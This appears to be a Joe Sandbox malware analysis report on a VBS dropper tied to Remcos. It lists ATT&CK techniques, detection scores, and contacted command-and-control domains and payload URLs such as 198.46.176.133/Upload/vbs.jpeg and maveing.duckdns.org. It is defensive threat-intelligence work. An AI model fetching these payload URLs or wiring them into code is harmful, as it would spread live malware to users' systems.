Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	422 Process Injection	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
screensimplethingstohandlecream.gIF.vbs	9%	Virustotal		Browse
screensimplethingstohandlecream.gIF.vbs	4%	ReversingLabs	Win32.Dropper.Generic

Source	Detection	Scanner	Label	Link
maveing.duckdns.org	9%	Virustotal		Browse
geoplugin.net	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.imvu.comr	0%	URL Reputation	safe
http://www.imvu.comr	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://login.yahoo.com/config/login	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
http://www.imvu.com	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://www.ebuddy.com	0%	URL Reputation	safe
https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?66601c3b572f284b9da07fcc	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gp7	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingth	0%	Avira URL Cloud	safe
https://ow1.res.office365.com/apc/trans.gif?29331761644ba41ebf9abf96ecc6fbad	0%	Avira URL Cloud	safe
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=W	0%	Avira URL Cloud	safe
http://www.nirsoft.net	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gp7	0%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingth	0%	Virustotal		Browse
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BLUr5a&Fr	0%	Avira URL Cloud	safe
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BL2r8e&Fr	0%	Avira URL Cloud	safe
https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?fc66b8a78ab7a1394f56e742	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	Virustotal		Browse
http://198.46.176.133	0%	Avira URL Cloud	safe
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	0%	Avira URL Cloud	safe
https://rum8.perf.linkedin.com/apc/trans.gif?fe61b216ccbcc1bca02cb20f2e94fb51	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://198.46.176.133	14%	Virustotal		Browse
https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?a9bddedb22fa9ee1d455a5d5a89b950c	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg00Bj	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
https://maps.windows.com/windows-app-web-link	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg7	0%	Avira URL Cloud	safe
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	0%	Avira URL Cloud	safe
maveing.duckdns.org	100%	Avira URL Cloud	malware
http://geoplugin.net/json.gpP	0%	Avira URL Cloud	safe
https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?60caefc8ca640843bccad421cfaadcc8	0%	Avira URL Cloud	safe
https://maps.windows.com/windows-app-web-link	0%	Virustotal		Browse
http://www.nirsoft.net/	0%	Avira URL Cloud	safe
http://www.nirsoft.net	0%	Virustotal		Browse
https://ow1.res.office365.com/apc/trans.gif?17a81fd4cdc7fc73a2b4cf5b67ff816d	0%	Avira URL Cloud	safe
https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?f67d919da1a9ba8a5672367d	0%	Avira URL Cloud	safe
http://www.nirsoft.net/	0%	Virustotal		Browse
maveing.duckdns.org	9%	Virustotal		Browse
http://geoplugin.net/json.gpd	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Avira URL Cloud	safe
https://ow1.res.office365.com/apc/trans.gif?2f153f40414852a5ead98f4103d563a8	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg	100%	Avira URL Cloud	malware
http://geoplugin.net/json.gpd	0%	Virustotal		Browse
https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?a176b93f037f93b5720edf68	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Virustotal		Browse
https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?909b77fc750668f20e07288ff0ed43e2	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpP	0%	Virustotal		Browse
http://geoplugin.net/json.gpl	0%	Avira URL Cloud	safe
https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?c9b5e9d2b836931c8ddd4e8d	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	Avira URL Cloud	safe
https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?18b635b804a8d6ad0a1fa437	0%	Avira URL Cloud	safe
https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?467894188c5d788807342326	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg	19%	Virustotal		Browse
http://192.3.176.154/50/HNBC.txt	100%	Avira URL Cloud	malware
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?1c89d9658c6af83a02d98b03	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaot	0%	Avira URL Cloud	safe
https://login.windows.net/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3-4102-ae	0%	Avira URL Cloud	safe
https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?74b620657ac570f7999e6ad7	0%	Avira URL Cloud	safe
https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-BL2r8e&FrontEnd=AFD	0%	Avira URL Cloud	safe
https://www.google.com/accounts/servicelogin	0%	Avira URL Cloud	safe
https://rum8.perf.linkedin.com/apc/trans.gif?690daf9375f3d267a5b7b08fbc174993	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingrms	0%	Avira URL Cloud	safe
https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?cf2d8bf3b68a3e37eef992d5	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpR9	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3	0%	Avira URL Cloud	safe
https://ow1.res.office365.com/apc/trans.gif?a50e32ebd978eda4d21928b1dbc78135	0%	Avira URL Cloud	safe
http://192.3.176.154	0%	Avira URL Cloud	safe
https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?c6931b9e725f95cf9c20849dd6498c59	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
maveing.duckdns.org	192.3.101.142	true	true	9%, Virustotal, Browse	unknown
geoplugin.net	178.237.33.50	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
maveing.duckdns.org	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://198.46.176.133/Upload/vbs.jpeg	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://192.3.176.154/50/HNBC.txt	false	Avira URL Cloud: malware	unknown
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.imvu.comr	RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=W	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://ow1.res.office365.com/apc/trans.gif?29331761644ba41ebf9abf96ecc6fbad	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingth	bhvDE09.tmp.4.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?66601c3b572f284b9da07fcc	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://geoplugin.net/json.gp7	RegAsm.exe, 00000003.00000002.2929959756.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.nirsoft.net	RegAsm.exe, 00000004.00000002.1746136572.00000000008F4000.00000004.00000010.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaotak	bhvDE09.tmp.4.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	bhvDE09.tmp.4.dr	false	URL Reputation: safe	unknown
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BLUr5a&Fr	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?fc66b8a78ab7a1394f56e742	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BL2r8e&Fr	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://198.46.176.133	powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rum8.perf.linkedin.com/apc/trans.gif?fe61b216ccbcc1bca02cb20f2e94fb51	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com	RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?a9bddedb22fa9ee1d455a5d5a89b950c	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://198.46.176.133/Upload/vbs.jpeg00Bj	powershell.exe, 00000001.00000002.1796467839.000001F16A425000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://maps.windows.com/windows-app-web-link	bhvDE09.tmp.4.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://198.46.176.133/Upload/vbs.jpeg7	powershell.exe, 00000001.00000002.1796467839.000001F16A425000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gpP	RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?60caefc8ca640843bccad421cfaadcc8	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://login.yahoo.com/config/login	RegAsm.exe	false	URL Reputation: safe	unknown
http://www.nirsoft.net/	RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1702329614.000001F151F81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ow1.res.office365.com/apc/trans.gif?17a81fd4cdc7fc73a2b4cf5b67ff816d	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?f67d919da1a9ba8a5672367d	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	bhvDE09.tmp.4.dr	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gpd	RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.office.com/	bhvDE09.tmp.4.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ow1.res.office365.com/apc/trans.gif?2f153f40414852a5ead98f4103d563a8	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?a176b93f037f93b5720edf68	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?909b77fc750668f20e07288ff0ed43e2	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gpl	RegAsm.exe, 00000003.00000002.2929959756.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?c9b5e9d2b836931c8ddd4e8d	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?18b635b804a8d6ad0a1fa437	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://www.imvu.com	RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aefd.nelreports.net/api/report?cat=wsb	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?467894188c5d788807342326	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?1c89d9658c6af83a02d98b03	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaot	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://login.windows.net/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3-4102-ae	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?74b620657ac570f7999e6ad7	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-BL2r8e&FrontEnd=AFD	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingrms	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://rum8.perf.linkedin.com/apc/trans.gif?690daf9375f3d267a5b7b08fbc174993	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/accounts/servicelogin	RegAsm.exe	false	Avira URL Cloud: safe	unknown
https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?cf2d8bf3b68a3e37eef992d5	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gpR9	RegAsm.exe, 00000003.00000002.2929959756.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1702329614.000001F151F81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
https://ow1.res.office365.com/apc/trans.gif?a50e32ebd978eda4d21928b1dbc78135	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://192.3.176.154	powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?c6931b9e725f95cf9c20849dd6498c59	bhvDE09.tmp.4.dr	false	Avira URL Cloud: safe	unknown
http://www.ebuddy.com	RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.176.154	unknown	United States	36352	AS-COLOCROSSINGUS	false
198.46.176.133	unknown	United States	36352	AS-COLOCROSSINGUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
192.3.101.142	maveing.duckdns.org	United States	36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483433
Start date and time:	2024-07-27 13:29:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	screensimplethingstohandlecream.gIF.vbs
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winVBS@14/7@2/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 156 Number of non-executed functions: 298
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:30:00	API Interceptor	35x Sleep call for process: powershell.exe modified
07:30:36	API Interceptor	2654321x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.176.154	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.176.154/50/HNBC.txt
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	192.3.176.154/xampp/glo/KBV.txt
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	192.3.176.154/50/HNBC.txt
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	192.3.176.154/xampp/glo/KBV.txt
198.46.176.133	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	erthings.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	042240724.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
178.237.33.50	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	erthings.doc	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	UD61dgs2rz.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
maveing.duckdns.org	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.101.142
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	192.3.101.142
geoplugin.net	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	erthings.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	UD61dgs2rz.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.101.142
AS-COLOCROSSINGUS	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
